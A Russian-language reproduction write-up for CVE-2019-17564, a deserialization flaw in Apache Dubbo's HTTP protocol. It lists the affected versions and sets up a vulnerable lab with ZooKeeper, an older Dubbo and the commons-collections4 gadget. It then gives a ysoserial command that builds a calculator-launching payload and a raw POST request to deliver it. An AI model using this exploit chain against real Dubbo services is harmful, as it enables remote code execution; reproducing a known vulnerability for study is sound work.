
CVE-2019-17564:уязвимость десериализации Apache Dubbo
Apache Dubbo — это высокопроизводительный, легковесный фреймворк для удалённого вызова процедур (RPC) на Java с открытым исходным кодом. Он предоставляет три основные возможности: удалённый вызов методов через интерфейсы, интеллектуальную отказоустойчивость и балансировку нагрузки, а также автоматическую регистрацию и обнаружение сервисов.
Apache Dubbo поддерживает множество протоколов, официально рекомендуется использовать протокол Dubbo. Уязвимость десериализации (CVE-2019-17564) в HTTP-протоколе Apache Dubbo обусловлена некорректной обработкой тела сообщения при включённом HTTP-протоколе, что приводит к небезопасной десериализации. При наличии подходящих гаджетов в пакете проекта это может привести к удалённому выполнению кода.
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# Переименуйте zoo_sample.cfg в zoo.cfg в каталоге conf
mv zoo_sample.cfg zoo.cfg
# Перейдите в каталог bin и запустите Zookeeper
./zkServer.sh start

git clone https://github.com/apache/dubbo-samples
# Перейдите в каталог dubbo-samples-http и измените pom.xml
vim pom.xml
Измените версию Dubbo на уязвимую
Добавьте зависимость, импортируйте срабатывающий гаджет. В данном случае импортируется commons-collections4-4.0
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

Полезная нагрузка
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
payload
Здесь используется ysoserial для генерации полезной нагрузки
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
Отправка через Burp Suite
